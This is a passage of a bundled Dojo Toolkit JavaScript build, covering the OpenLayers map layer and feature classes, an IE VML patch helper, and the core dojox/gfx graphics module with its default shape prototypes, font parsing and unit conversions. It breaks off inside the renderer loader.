				// summary:
				//		Remove the feature at the specified index.
				// index: int
				//		The index of the feature to remove.
				var ft = this._features;
				var f = ft[index];
				if(!f){
					return;
				}
				ft.splice(index, 1);
				f._setLayer(null);
				f.remove();
			},

			getFeatures: function(){
				// summary:
				//		Returns the feature hold by this layer.
				// returns:
				//		The untouched array of features hold by this layer.
				return this._features; // Feature[]
			},

			getFeatureAt: function(i){
				// summary:
				//		Returns the i-th feature of this layer.
				// i: Number
				//		The index of the feature to return.
				// returns:
				//		The i-th feature of this layer.
				if(this._features == null){
					return undefined;
				}
				return this._features[i]; // Feature
			},

			getFeatureCount: function(){
				// summary:
				//		Returns the number of the features contained by this layer.
				// returns:
				//		The number of the features contained by this layer.
				if(this._features == null){
					return 0;
				}
				return this._features.length; // Number
			},

			clear: function(){
				// summary:
				//		Removes all the features from this layer.
				var fa = this.getFeatures();
				this.removeFeature(fa);
			},

			moveTo: function(event){
				// summary:
				//		Called when the layer is panned or zoomed.
				// event: MouseEvent
				//		The event
				if(event.zoomChanged){
					if(this._features == null){
						return;
					}
					array.forEach(this._features, function(f){
						this.renderFeature(f);
					}, this);
				}
			},

			redraw: function(){
				// summary:
				//		Redraws this layer
				if(sniff.isIE){
					setTimeout(lang.hitch(this, function(){
						this.olLayer.redraw();
					}, 0));
				}else{
					this.olLayer.redraw();
				}
			},

			added: function(){
				// summary:
				//		Called when the layer is added to the map
			}

		});
	});

},
'dojox/geo/openlayers/Feature':function(){
define([
	"dojo/_base/kernel",
	"dojo/_base/declare",
	"./_base"
], function(dojo, declare, openlayers){

	return declare("dojox.geo.openlayers.Feature", null, {
		// summary:
		//		A Feature encapsulates an item so that it can be added to a Layer.
		//		This class is not attended to be used as it, but serve as a base class
		//		for specific features such as GeometryFeature which can display georeferenced 
		//		geometries and WidgetFeature which can display georeferenced widgets. 
		constructor: function(){
			// summary:
			//		Construct a new Feature
			this._layer = null;
			this._coordSys = openlayers.EPSG4326;
		},

		getCoordinateSystem: function(){
			// summary:
			//		Returns the coordinate system in which coordinates of this feature are expressed.
			// returns:
			//		The coordinate system in which coordinates of this feature are expressed.
			return this._coordSys; // OpenLayers.Projection
		},

		setCoordinateSystem: function(/* OpenLayers.Projection */cs){
			// summary:
			//		Set the coordinate system in which coordinates of this feature are expressed.
			// cs: OpenLayers.Projection
			//		The coordinate system in which coordinates of this feature are expressed.
			this._coordSys = cs;
		},

		getLayer: function(){
			// summary:
			//		Returns the Layer to which this feature belongs.
			// returns:
			//		The layer to which this feature belongs.
			return this._layer; // dojox/geo/openlayers/Layer
		},

		_setLayer: function(/* dojox/geo/openlayers/Layer */l){
			// summary:
			//		Sets the layer to which this Feature belongs
			// description:
			//		Called when the feature is added to the Layer.
			// tags:
			//		private
			this._layer = l;
		},

		render: function(){
		// summary:
		//		subclasses implements drawing specific behavior.
		},

		remove: function(){
		// summary:
		//		Subclasses implements specific behavior.
		//		Called when removed from the layer.
		},

		_getLocalXY: function(p){
			// summary:
			//		From projected coordinates to screen coordinates
			// p: Object
			//		Object with x and y fields
			// tags:
			//		private
			var x = p.x;
			var y = p.y;
			var layer = this.getLayer();
			var resolution = layer.olLayer.map.getResolution();
			var extent = layer.olLayer.getExtent();
			var rx = (x / resolution + (-extent.left / resolution));
			var ry = ((extent.top / resolution) - y / resolution);
			return [rx, ry];
		}
	});
});

},
'dojox/geo/openlayers/Patch':function(){
define([
	"dojo/_base/kernel",
	"dojo/_base/lang",	// dojo.extend getObject
	"dojo/_base/sniff",	// dojo.isIE
	"dojox/gfx",
	"dojox/gfx/shape"
], function(dojo, lang, sniff, gfx, shape){

	var dgo = lang.getObject("geo.openlayers", true, dojox);

	dgo.Patch = {

		patchMethod: function(/*Object*/type, /*String*/method, /*Function*/execBefore, /*Function*/
		execAfter){
			// summary:
			//		Patches the specified method of the given type so that the 'execBefore' (resp. 'execAfter') function is 
			//		called before (resp. after) invoking the legacy implementation.
			// description:
			//		The execBefore function is invoked with the following parameter:
			//		execBefore(method, arguments) where 'method' is the patched method name and 'arguments' the arguments received
			//		by the legacy implementation.
			//		The execAfter function is invoked with the following parameter:
			//		execBefore(method, returnValue, arguments) where 'method' is the patched method name, 'returnValue' the value
			//		returned by the legacy implementation and 'arguments' the arguments received by the legacy implementation.
			// type: Object
			//		the type to patch.
			// method: String
			//		the method name.
			// execBefore: Function
			//		the function to execute before the legacy implementation.
			// execAfter: Function
			//		the function to execute after the legacy implementation.
			// tags:
			//		private
			var old = type.prototype[method];
			type.prototype[method] = function(){
				var callee = method;
				if(execBefore){
					execBefore.call(this, callee, arguments);
				}
				var ret = old.apply(this, arguments);
				if(execAfter){
					ret = execAfter.call(this, callee, ret, arguments) || ret;
				}
				return ret;
			};
		},

		patchGFX: function(){

			var vmlFixRawNodePath = function(){
				if(!this.rawNode.path){
					this.rawNode.path = {};
				}
			};

			var vmlFixFillColors = function(){
				if(this.rawNode.fill && !this.rawNode.fill.colors){
					this.rawNode.fill.colors = {};
				}
			};
			
			if(sniff.isIE <= 8 && gfx.renderer === "vml"){
				this.patchMethod(gfx.Line, "setShape", vmlFixRawNodePath, null);
				this.patchMethod(gfx.Polyline, "setShape", vmlFixRawNodePath, null);
				this.patchMethod(gfx.Path, "setShape", vmlFixRawNodePath, null);
				
				this.patchMethod(shape.Shape, "setFill", vmlFixFillColors, null);
			}
		}
	};
	return dgo.Patch;
});

},
'dojox/gfx':function(){
define(["dojo/_base/lang", "./gfx/_base", "./gfx/renderer!"], 
  function(lang, gfxBase, renderer){
	// module:
	//		dojox/gfx
	// summary:
	//		This the root of the Dojo Graphics package
	gfxBase.switchTo(renderer);
	return gfxBase;
});

},
'dojox/gfx/_base':function(){
define(["dojo/_base/kernel", "dojo/_base/lang", "dojo/_base/Color", "dojo/_base/sniff", "dojo/_base/window",
	    "dojo/_base/array","dojo/dom", "dojo/dom-construct","dojo/dom-geometry"],
function(kernel, lang, Color, has, win, arr, dom, domConstruct, domGeom){
	// module:
	//		dojox/gfx
	// summary:
	//		This module contains common core Graphics API used by different graphics renderers.

	var g = lang.getObject("dojox.gfx", true),
		b = g._base = {};
	
	// candidates for dojox.style (work on VML and SVG nodes)
	g._hasClass = function(/*DomNode*/node, /*String*/classStr){
		// summary:
		//		Returns whether or not the specified classes are a portion of the
		//		class list currently applied to the node.
		
		// return (new RegExp('(^|\\s+)'+classStr+'(\\s+|$)')).test(node.className)	// Boolean
		var cls = node.getAttribute("className");
		return cls && (" " + cls + " ").indexOf(" " + classStr + " ") >= 0;  // Boolean
	};
	g._addClass = function(/*DomNode*/node, /*String*/classStr){
		// summary:
		//		Adds the specified classes to the end of the class list on the
		//		passed node.
		var cls = node.getAttribute("className") || "";
		if(!cls || (" " + cls + " ").indexOf(" " + classStr + " ") < 0){
			node.setAttribute("className", cls + (cls ? " " : "") + classStr);
		}
	};
	g._removeClass = function(/*DomNode*/node, /*String*/classStr){
		// summary:
		//		Removes classes from node.
		var cls = node.getAttribute("className");
		if(cls){
			node.setAttribute(
				"className",
				cls.replace(new RegExp('(^|\\s+)' + classStr + '(\\s+|$)'), "$1$2")
			);
		}
	};

	// candidate for dojox.html.metrics (dynamic font resize handler is not implemented here)

	//		derived from Morris John's emResized measurer
	b._getFontMeasurements = function(){
		// summary:
		//		Returns an object that has pixel equivilents of standard font
		//		size values.
		var heights = {
			'1em': 0, '1ex': 0, '100%': 0, '12pt': 0, '16px': 0, 'xx-small': 0,
			'x-small': 0, 'small': 0, 'medium': 0, 'large': 0, 'x-large': 0,
			'xx-large': 0
		};
		var p, oldStyle;	
		if(has("ie")){
			//	We do a font-size fix if and only if one isn't applied already.
			// NOTE: If someone set the fontSize on the HTML Element, this will kill it.
			oldStyle = win.doc.documentElement.style.fontSize || "";
			if(!oldStyle){
				win.doc.documentElement.style.fontSize="100%";
			}
		}

		//		set up the measuring node.
		var div = domConstruct.create("div", {style: {
				position: "absolute",
				left: "0",
				top: "-100px",
				width: "30px",
				height: "1000em",
				borderWidth: "0",
				margin: "0",
				padding: "0",
				outline: "none",
				lineHeight: "1",
				overflow: "hidden"
			}}, win.body());

		//		do the measurements.
		for(p in heights){
			div.style.fontSize = p;
			heights[p] = Math.round(div.offsetHeight * 12/16) * 16/12 / 1000;
		}

		if(has("ie")){
			// Restore the font to its old style.
			win.doc.documentElement.style.fontSize = oldStyle;
		}
		win.body().removeChild(div);
		return heights; //object
	};

	var fontMeasurements = null;

	b._getCachedFontMeasurements = function(recalculate){
		if(recalculate || !fontMeasurements){
			fontMeasurements = b._getFontMeasurements();
		}
		return fontMeasurements;
	};

	// candidate for dojox.html.metrics

	var measuringNode = null, empty = {};
	b._getTextBox = function(	/*String*/ text,
								/*Object*/ style,
								/*String?*/ className){
		var m, s, al = arguments.length;
		var i, box;
		if(!measuringNode){
			measuringNode = domConstruct.create("div", {style: {
				position: "absolute",
				top: "-10000px",
				left: "0",
				visibility: "hidden"
			}}, win.body());
		}
		m = measuringNode;
		// reset styles
		m.className = "";
		s = m.style;
		s.borderWidth = "0";
		s.margin = "0";
		s.padding = "0";
		s.outline = "0";
		// set new style
		if(al > 1 && style){
			for(i in style){
				if(i in empty){ continue; }
				s[i] = style[i];
			}
		}
		// set classes
		if(al > 2 && className){
			m.className = className;
		}
		// take a measure
		m.innerHTML = text;

		if(m.getBoundingClientRect){
			var bcr = m.getBoundingClientRect();
			box = {l: bcr.left, t: bcr.top, w: bcr.width || (bcr.right - bcr.left), h: bcr.height || (bcr.bottom - bcr.top)};
		}else{
			box = domGeom.getMarginBox(m);
		}
		m.innerHTML = "";
		return box;
	};

	b._computeTextLocation = function(/*g.defaultTextShape*/textShape, /*Number*/width, /*Number*/height, /*Boolean*/fixHeight) {
		var loc = {}, align = textShape.align;
		switch (align) {
			case 'end':
				loc.x = textShape.x - width;
				break;
			case 'middle':
				loc.x = textShape.x - width / 2;
				break;
			default:
				loc.x = textShape.x;
				break;
		}
		var c = fixHeight ? 0.75 : 1;
		loc.y = textShape.y - height*c; // **rough** approximation of the ascent...
		return loc;
	};
	b._computeTextBoundingBox = function(/*shape.Text*/s){
		// summary:
		//		Compute the bbox of the given shape.Text instance. Note that this method returns an
		//		approximation of the bbox, and should be used when the underlying renderer cannot provide precise metrics.
		if(!g._base._isRendered(s)){
			return {x:0, y:0, width:0, height:0};
		}
		var loc, textShape = s.getShape(),
			font = s.getFont() || g.defaultFont,
			w = s.getTextWidth(),
			h = g.normalizedLength(font.size);
		loc = b._computeTextLocation(textShape, w, h, true);
		return {
			x: loc.x,
			y: loc.y,
			width: w,
			height: h
		};
	};
	b._isRendered = function(/*Shape*/s){
		var p = s.parent;
		while(p && p.getParent){
			p = p.parent;
		}
		return p !== null;
	};

	// candidate for dojo.dom

	var uniqueId = 0;
	b._getUniqueId = function(){
		// summary:
		//		returns a unique string for use with any DOM element
		var id;
		do{
			id = kernel._scopeName + "xUnique" + (++uniqueId);
		}while(dom.byId(id));
		return id;
	};

	// IE10

	var touchActionProp = has("pointer-events") ? "touchAction" : has("MSPointer") ? "msTouchAction" : null;
	b._fixMsTouchAction = touchActionProp ? function(/*dojox/gfx/shape.Surface*/surface){
		surface.rawNode.style[touchActionProp] = "none";
	} : function() {};

	/*=====
	g.Stroke = {
		// summary:
		//		A stroke defines stylistic properties that are used when drawing a path.

		// color: String
		//		The color of the stroke, default value 'black'.
		color: "black",

		// style: String
		//		The style of the stroke, one of 'solid', ... . Default value 'solid'.
		style: "solid",

		// width: Number
		//		The width of a stroke, default value 1.
		width: 1,

		// cap: String
		//		The endcap style of the path. One of 'butt', 'round', ... . Default value 'butt'.
		cap: "butt",

		// join: Number
		//		The join style to use when combining path segments. Default value 4.
		join: 4
	};
	
	g.Fill = {
		// summary:
		//		Defines how to fill a shape. Four types of fills can be used: solid, linear gradient, radial gradient and pattern.
		//		See dojox/gfx.LinearGradient, dojox/gfx.RadialGradient and dojox/gfx.Pattern respectively for more information about the properties supported by each type.
		
		// type: String?
		//		The type of fill. One of 'linear', 'radial', 'pattern' or undefined. If not specified, a solid fill is assumed.
		type:"",
		
		// color: String|dojo/Color?
		//		The color of a solid fill type.
		color:null,
		
	};
	
	g.LinearGradient = {
		// summary:
		//		An object defining the default stylistic properties used for Linear Gradient fills.
		//		Linear gradients are drawn along a virtual line, which results in appearance of a rotated pattern in a given direction/orientation.

		// type: String
		//		Specifies this object is a Linear Gradient, value 'linear'
		type: "linear",

		// x1: Number
		//		The X coordinate of the start of the virtual line along which the gradient is drawn, default value 0.
		x1: 0,

		// y1: Number
		//		The Y coordinate of the start of the virtual line along which the gradient is drawn, default value 0.
		y1: 0,

		// x2: Number
		//		The X coordinate of the end of the virtual line along which the gradient is drawn, default value 100.
		x2: 100,

		// y2: Number
		//		The Y coordinate of the end of the virtual line along which the gradient is drawn, default value 100.
		y2: 100,

		// colors: Array
		//		An array of colors at given offsets (from the start of the line).  The start of the line is
		//		defined at offest 0 with the end of the line at offset 1.
		//		Default value, [{ offset: 0, color: 'black'},{offset: 1, color: 'white'}], is a gradient from black to white.
		colors: []
	};
	
	g.RadialGradient = {
		// summary:
		//		Specifies the properties for RadialGradients using in fills patterns.

		// type: String
		//		Specifies this is a RadialGradient, value 'radial'
		type: "radial",

		// cx: Number
		//		The X coordinate of the center of the radial gradient, default value 0.
		cx: 0,

		// cy: Number
		//		The Y coordinate of the center of the radial gradient, default value 0.
		cy: 0,

		// r: Number
		//		The radius to the end of the radial gradient, default value 100.
		r: 100,

		// colors: Array
		//		An array of colors at given offsets (from the center of the radial gradient).
		//		The center is defined at offest 0 with the outer edge of the gradient at offset 1.
		//		Default value, [{ offset: 0, color: 'black'},{offset: 1, color: 'white'}], is a gradient from black to white.
		colors: []
	};
	
	g.Pattern = {
		// summary:
		//		An object specifying the default properties for a Pattern using in fill operations.

		// type: String
		//		Specifies this object is a Pattern, value 'pattern'.
		type: "pattern",

		// x: Number
		//		The X coordinate of the position of the pattern, default value is 0.
		x: 0,

		// y: Number
		//		The Y coordinate of the position of the pattern, default value is 0.
		y: 0,

		// width: Number
		//		The width of the pattern image, default value is 0.
		width: 0,

		// height: Number
		//		The height of the pattern image, default value is 0.
		height: 0,

		// src: String
		//		A url specifying the image to use for the pattern.
		src: ""
	};

	g.Text = {
		//	summary:
		//		A keyword argument object defining both the text to be rendered in a VectorText shape,
		//		and specifying position, alignment, and fitting.
		//	text: String
		//		The text to be rendered.
		//	x: Number?
		//		The left coordinate for the text's bounding box.
		//	y: Number?
		//		The top coordinate for the text's bounding box.
		//	width: Number?
		//		The width of the text's bounding box.
		//	height: Number?
		//		The height of the text's bounding box.
		//	align: String?
		//		The alignment of the text, as defined in SVG. Can be "start", "end" or "middle".
		//	fitting: Number?
		//		How the text is to be fitted to the bounding box. Can be 0 (no fitting), 1 (fitting based on
		//		passed width of the bounding box and the size of the font), or 2 (fit text to the bounding box,
		//		and ignore any size parameters).
		//	leading: Number?
		//		The leading to be used between lines in the text.
		//	decoration: String?
		//		Any text decoration to be used.
	};

	g.Font = {
		// summary:
		//		An object specifying the properties for a Font used in text operations.
	
		// type: String
		//		Specifies this object is a Font, value 'font'.
		type: "font",
	
		// style: String
		//		The font style, one of 'normal', 'bold', default value 'normal'.
		style: "normal",
	
		// variant: String
		//		The font variant, one of 'normal', ... , default value 'normal'.
		variant: "normal",
	
		// weight: String
		//		The font weight, one of 'normal', ..., default value 'normal'.
		weight: "normal",
	
		// size: String
		//		The font size (including units), default value '10pt'.
		size: "10pt",
	
		// family: String
		//		The font family, one of 'serif', 'sanserif', ..., default value 'serif'.
		family: "serif"
	};

	=====*/

	lang.mixin(g, {
		// summary:
		//		defines constants, prototypes, and utility functions for the core Graphics API

		// default shapes, which are used to fill in missing parameters
		defaultPath: {
			// summary:
			//		Defines the default Path prototype object.

			// type: String
			//		Specifies this object is a Path, default value 'path'.
			type: "path", 

			// path: String
			//		The path commands. See W32C SVG 1.0 specification.
			//		Defaults to empty string value.
			path: ""
		},
		defaultPolyline: {
			// summary:
			//		Defines the default PolyLine prototype.

			// type: String
			//		Specifies this object is a PolyLine, default value 'polyline'.
			type: "polyline",

			// points: Array
			//		An array of point objects [{x:0,y:0},...] defining the default polyline's line segments. Value is an empty array [].
			points: []
		},
		defaultRect: {
			// summary:
			//		Defines the default Rect prototype.

			// type: String
			//		Specifies this default object is a type of Rect. Value is 'rect'
			type: "rect",

			// x: Number
			//		The X coordinate of the default rectangles position, value 0.
			x: 0,

			// y: Number
			//		The Y coordinate of the default rectangle's position, value 0.
			y: 0,

			// width: Number
			//		The width of the default rectangle, value 100.
			width: 100,

			// height: Number
			//		The height of the default rectangle, value 100.
			height: 100,

			// r: Number
			//		The corner radius for the default rectangle, value 0.
			r: 0
		},
		defaultEllipse: {
			// summary:
			//		Defines the default Ellipse prototype.

			// type: String
			//		Specifies that this object is a type of Ellipse, value is 'ellipse'
			type: "ellipse",

			// cx: Number
			//		The X coordinate of the center of the ellipse, default value 0.
			cx: 0,

			// cy: Number
			//		The Y coordinate of the center of the ellipse, default value 0.
			cy: 0,

			// rx: Number
			//		The radius of the ellipse in the X direction, default value 200.
			rx: 200,

			// ry: Number
			//		The radius of the ellipse in the Y direction, default value 200.
			ry: 100
		},
		defaultCircle: {
			// summary:
			//		An object defining the default Circle prototype.

			// type: String
			//		Specifies this object is a circle, value 'circle'
			type: "circle",

			// cx: Number
			//		The X coordinate of the center of the circle, default value 0.
			cx: 0,
			// cy: Number
			//		The Y coordinate of the center of the circle, default value 0.
			cy: 0,

			// r: Number
			//		The radius, default value 100.
			r: 100
		},
		defaultLine: {
			// summary:
			//		An object defining the default Line prototype.

			// type: String
			//		Specifies this is a Line, value 'line'
			type: "line",

			// x1: Number
			//		The X coordinate of the start of the line, default value 0.
			x1: 0,

			// y1: Number
			//		The Y coordinate of the start of the line, default value 0.
			y1: 0,

			// x2: Number
			//		The X coordinate of the end of the line, default value 100.
			x2: 100,

			// y2: Number
			//		The Y coordinate of the end of the line, default value 100.
			y2: 100
		},
		defaultImage: {
			// summary:
			//		Defines the default Image prototype.

			// type: String
			//		Specifies this object is an image, value 'image'.
			type: "image",

			// x: Number
			//		The X coordinate of the image's position, default value 0.
			x: 0,

			// y: Number
			//		The Y coordinate of the image's position, default value 0.
			y: 0,

			// width: Number
			//		The width of the image, default value 0.
			width: 0,

			// height: Number
			//		The height of the image, default value 0.
			height: 0,

			// src: String
			//		The src url of the image, defaults to empty string.
			src: ""
		},
		defaultText: {
			// summary:
			//		Defines the default Text prototype.

			// type: String
			//		Specifies this is a Text shape, value 'text'.
			type: "text",

			// x: Number
			//		The X coordinate of the text position, default value 0.
			x: 0,

			// y: Number
			//		The Y coordinate of the text position, default value 0.
			y: 0,

			// text: String
			//		The text to be displayed, default value empty string.
			text: "",

			// align:	String
			//		The horizontal text alignment, one of 'start', 'end', 'center'. Default value 'start'.
			align: "start",

			// decoration: String
			//		The text decoration , one of 'none', ... . Default value 'none'.
			decoration: "none",

			// rotated: Boolean
			//		Whether the text is rotated, boolean default value false.
			rotated: false,

			// kerning: Boolean
			//		Whether kerning is used on the text, boolean default value true.
			kerning: true
		},
		defaultTextPath: {
			// summary:
			//		Defines the default TextPath prototype.

			// type: String
			//		Specifies this is a TextPath, value 'textpath'.
			type: "textpath",

			// text: String
			//		The text to be displayed, default value empty string.
			text: "",

			// align: String
			//		The horizontal text alignment, one of 'start', 'end', 'center'. Default value 'start'.
			align: "start",

			// decoration: String
			//		The text decoration , one of 'none', ... . Default value 'none'.
			decoration: "none",

			// rotated: Boolean
			//		Whether the text is rotated, boolean default value false.
			rotated: false,

			// kerning: Boolean
			//		Whether kerning is used on the text, boolean default value true.
			kerning: true
		},

		// default stylistic attributes
		defaultStroke: {
			// summary:
			//		A stroke defines stylistic properties that are used when drawing a path.
			//		This object defines the default Stroke prototype.
			// type: String
			//		Specifies this object is a type of Stroke, value 'stroke'.
			type: "stroke",

			// color: String
			//		The color of the stroke, default value 'black'.
			color: "black",

			// style: String
			//		The style of the stroke, one of 'solid', ... . Default value 'solid'.
			style: "solid",

			// width: Number
			//		The width of a stroke, default value 1.
			width: 1,

			// cap: String
			//		The endcap style of the path. One of 'butt', 'round', ... . Default value 'butt'.
			cap: "butt",

			// join: Number
			//		The join style to use when combining path segments. Default value 4.
			join: 4
		},
		defaultLinearGradient: {
			// summary:
			//		An object defining the default stylistic properties used for Linear Gradient fills.
			//		Linear gradients are drawn along a virtual line, which results in appearance of a rotated pattern in a given direction/orientation.

			// type: String
			//		Specifies this object is a Linear Gradient, value 'linear'
			type: "linear",

			// x1: Number
			//		The X coordinate of the start of the virtual line along which the gradient is drawn, default value 0.
			x1: 0,

			// y1: Number
			//		The Y coordinate of the start of the virtual line along which the gradient is drawn, default value 0.
			y1: 0,

			// x2: Number
			//		The X coordinate of the end of the virtual line along which the gradient is drawn, default value 100.
			x2: 100,

			// y2: Number
			//		The Y coordinate of the end of the virtual line along which the gradient is drawn, default value 100.
			y2: 100,

			// colors: Array
			//		An array of colors at given offsets (from the start of the line).  The start of the line is
			//		defined at offest 0 with the end of the line at offset 1.
			//		Default value, [{ offset: 0, color: 'black'},{offset: 1, color: 'white'}], is a gradient from black to white.
			colors: [
				{ offset: 0, color: "black" }, { offset: 1, color: "white" }
			]
		},
		defaultRadialGradient: {
			// summary:
			//		An object specifying the default properties for RadialGradients using in fills patterns.

			// type: String
			//		Specifies this is a RadialGradient, value 'radial'
			type: "radial",

			// cx: Number
			//		The X coordinate of the center of the radial gradient, default value 0.
			cx: 0,

			// cy: Number
			//		The Y coordinate of the center of the radial gradient, default value 0.
			cy: 0,

			// r: Number
			//		The radius to the end of the radial gradient, default value 100.
			r: 100,

			// colors: Array
			//		An array of colors at given offsets (from the center of the radial gradient).
			//		The center is defined at offest 0 with the outer edge of the gradient at offset 1.
			//		Default value, [{ offset: 0, color: 'black'},{offset: 1, color: 'white'}], is a gradient from black to white.
			colors: [
				{ offset: 0, color: "black" }, { offset: 1, color: "white" }
			]
		},
		defaultPattern: {
			// summary:
			//		An object specifying the default properties for a Pattern using in fill operations.

			// type: String
			//		Specifies this object is a Pattern, value 'pattern'.
			type: "pattern",

			// x: Number
			//		The X coordinate of the position of the pattern, default value is 0.
			x: 0,

			// y: Number
			//		The Y coordinate of the position of the pattern, default value is 0.
			y: 0,

			// width: Number
			//		The width of the pattern image, default value is 0.
			width: 0,

			// height: Number
			//		The height of the pattern image, default value is 0.
			height: 0,

			// src: String
			//		A url specifying the image to use for the pattern.
			src: ""
		},
		defaultFont: {
			// summary:
			//		An object specifying the default properties for a Font used in text operations.

			// type: String
			//		Specifies this object is a Font, value 'font'.
			type: "font",

			// style: String
			//		The font style, one of 'normal', 'bold', default value 'normal'.
			style: "normal",

			// variant: String
			//		The font variant, one of 'normal', ... , default value 'normal'.
			variant: "normal",

			// weight: String
			//		The font weight, one of 'normal', ..., default value 'normal'.
			weight: "normal",

			// size: String
			//		The font size (including units), default value '10pt'.
			size: "10pt",

			// family: String
			//		The font family, one of 'serif', 'sanserif', ..., default value 'serif'.
			family: "serif"
		},

		getDefault: (function(){
			// summary:
			//		Returns a function used to access default memoized prototype objects (see them defined above).
			var typeCtorCache = {};
			// a memoized delegate()
			return function(/*String*/ type){
				var t = typeCtorCache[type];
				if(t){
					return new t();
				}
				t = typeCtorCache[type] = new Function();
				t.prototype = g[ "default" + type ];
				return new t();
			}
		})(),

		normalizeColor: function(/*dojo/Color|Array|string|Object*/ color){
			// summary:
			//		converts any legal color representation to normalized
			//		dojo/Color object
			// color:
			//		A color representation.
			return (color instanceof Color) ? color : new Color(color); // dojo/Color
		},
		normalizeParameters: function(existed, update){
			// summary:
			//		updates an existing object with properties from an 'update'
			//		object
			// existed: Object
			//		the target object to be updated
			// update: Object
			//		the 'update' object, whose properties will be used to update
			//		the existed object
			var x;
			if(update){
				var empty = {};
				for(x in existed){
					if(x in update && !(x in empty)){
						existed[x] = update[x];
					}
				}
			}
			return existed;	// Object
		},
		makeParameters: function(defaults, update){
			// summary:
			//		copies the original object, and all copied properties from the
			//		'update' object
			// defaults: Object
			//		the object to be cloned before updating
			// update: Object
			//		the object, which properties are to be cloned during updating
			// returns: Object
			//      new object with new and default properties
			var i = null;
			if(!update){
				// return dojo.clone(defaults);
				return lang.delegate(defaults);
			}
			var result = {};
			for(i in defaults){
				if(!(i in result)){
					result[i] = lang.clone((i in update) ? update[i] : defaults[i]);
				}
			}
			return result; // Object
		},
		formatNumber: function(x, addSpace){
			// summary:
			//		converts a number to a string using a fixed notation
			// x: Number
			//		number to be converted
			// addSpace: Boolean
			//		whether to add a space before a positive number
			// returns: String
			//      the formatted value
			var val = x.toString();
			if(val.indexOf("e") >= 0){
				val = x.toFixed(4);
			}else{
				var point = val.indexOf(".");
				if(point >= 0 && val.length - point > 5){
					val = x.toFixed(4);
				}
			}
			if(x < 0){
				return val; // String
			}
			return addSpace ? " " + val : val; // String
		},
		// font operations
		makeFontString: function(font){
			// summary:
			//		converts a font object to a CSS font string
			// font: Object
			//		font object (see dojox/gfx.defaultFont)
			return font.style + " " + font.variant + " " + font.weight + " " + font.size + " " + font.family; // Object
		},
		splitFontString: function(str){
			// summary:
			//		converts a CSS font string to a font object
			// description:
			//		Converts a CSS font string to a gfx font object. The CSS font
			//		string components should follow the W3C specified order
			//		(see http://www.w3.org/TR/CSS2/fonts.html#font-shorthand):
			//		style, variant, weight, size, optional line height (will be
			//		ignored), and family. Note that the Font.size attribute is limited to numeric CSS length.
			// str: String
			//		a CSS font string.
			// returns: Object
			//      object in dojox/gfx.defaultFont format
			var font = g.getDefault("Font");
			var t = str.split(/\s+/);
			do{
				if(t.length < 5){ break; }
				font.style   = t[0];
				font.variant = t[1];
				font.weight  = t[2];
				var i = t[3].indexOf("/");
				font.size = i < 0 ? t[3] : t[3].substring(0, i);
				var j = 4;
				if(i < 0){
					if(t[4] == "/"){
						j = 6;
					}else if(t[4].charAt(0) == "/"){
						j = 5;
					}
				}
				if(j < t.length){
					font.family = t.slice(j).join(" ");
				}
			}while(false);
			return font;	// Object
		},
		// length operations

		// cm_in_pt: Number
		//		points per centimeter (constant)
		cm_in_pt: 72 / 2.54,

		// mm_in_pt: Number
		//		points per millimeter (constant)
		mm_in_pt: 7.2 / 2.54,

		px_in_pt: function(){
			// summary:
			//		returns the current number of pixels per point.
			return g._base._getCachedFontMeasurements()["12pt"] / 12;	// Number
		},

		pt2px: function(len){
			// summary:
			//		converts points to pixels
			// len: Number
			//		a value in points
			return len * g.px_in_pt();	// Number
		},

		px2pt: function(len){
			// summary:
			//		converts pixels to points
			// len: Number
			//		a value in pixels
			return len / g.px_in_pt();	// Number
		},

		normalizedLength: function(len) {
			// summary:
			//		converts any length value to pixels
			// len: String
			//		a length, e.g., '12pc'
			// returns: Number
			//      pixels
			if(len.length === 0){ return 0; }
			if(len.length > 2){
				var px_in_pt = g.px_in_pt();
				var val = parseFloat(len);
				switch(len.slice(-2)){
					case "px": return val;
					case "pt": return val * px_in_pt;
					case "in": return val * 72 * px_in_pt;
					case "pc": return val * 12 * px_in_pt;
					case "mm": return val * g.mm_in_pt * px_in_pt;
					case "cm": return val * g.cm_in_pt * px_in_pt;
				}
			}
			return parseFloat(len);	// Number
		},

		// pathVmlRegExp: RegExp
		//		a constant regular expression used to split a SVG/VML path into primitive components
		// tags:
		//		private
		pathVmlRegExp: /([A-Za-z]+)|(\d+(\.\d+)?)|(\.\d+)|(-\d+(\.\d+)?)|(-\.\d+)/g,

		// pathVmlRegExp: RegExp
		//		a constant regular expression used to split a SVG/VML path into primitive components
		// tags:
		//		private
		pathSvgRegExp: /([A-DF-Za-df-z])|([-+]?\d*[.]?\d+(?:[eE][-+]?\d+)?)/g,

		equalSources: function(a, b){
			// summary:
			//		compares event sources, returns true if they are equal
			// a: Object
			//		first event source
			// b: Object
			//		event source to compare against a
			// returns: Boolean
			//      true, if objects are truthy and the same
			return a && b && a === b;
		},

		switchTo: function(/*String|Object*/ renderer){
			// summary:
			//		switch the graphics implementation to the specified renderer.
			// renderer:
			//		Either the string name of a renderer (eg. 'canvas', 'svg, ...) or the renderer
			//		object to switch to.
			var ns = typeof renderer == "string" ? g[renderer] : renderer;
			if(ns){
				// If more options are added, update the docblock at the end of shape.js!
				arr.forEach(["Group", "Rect", "Ellipse", "Circle", "Line",
						"Polyline", "Image", "Text", "Path", "TextPath",
						"Surface", "createSurface", "fixTarget"], function(name){
					g[name] = ns[name];
				});
				if(typeof renderer == "string"){
					g.renderer = renderer;
				}else{
					arr.some(["svg","vml","canvas","canvasWithEvents","silverlight"], function(r){
						return (g.renderer = g[r] && g[r].Surface === g.Surface ? r : null);
					});
				}
			}
		}
	});
	
	/*=====
		g.createSurface = function(parentNode, width, height){
			// summary:
			//		creates a surface
			// parentNode: Node
			//		a parent node
			// width: String|Number
			//		width of surface, e.g., "100px" or 100
			// height: String|Number
			//		height of surface, e.g., "100px" or 100
			// returns: dojox/gfx.Surface
			//     newly created surface
		};
		g.fixTarget = function(){
			// tags:
			//		private
		};
	=====*/
	
	return g; // defaults object api
});

},
'dojox/gfx/renderer':function(){
define(["./_base","dojo/_base/lang", "dojo/_base/sniff", "dojo/_base/window", "dojo/_base/config"],
  function(g, lang, has, win, config){
  //>> noBuildResolver
	var currentRenderer = null;

	has.add("vml", function(global, document, element){
		element.innerHTML = "<v:shape adj=\"1\"/>";
		var supported = ("adj" in element.firstChild);
		element.innerHTML = "";
		return supported;
	});

	return {
		// summary:
		//		This module is an AMD loader plugin that loads the appropriate graphics renderer
		//		implementation based on detected environment and current configuration settings.
		
		load: function(id, require, load){
			// tags:
			//      private
			if(currentRenderer && id != "force"){
				load(currentRenderer);
				return;
			}
			var renderer = config.forceGfxRenderer,
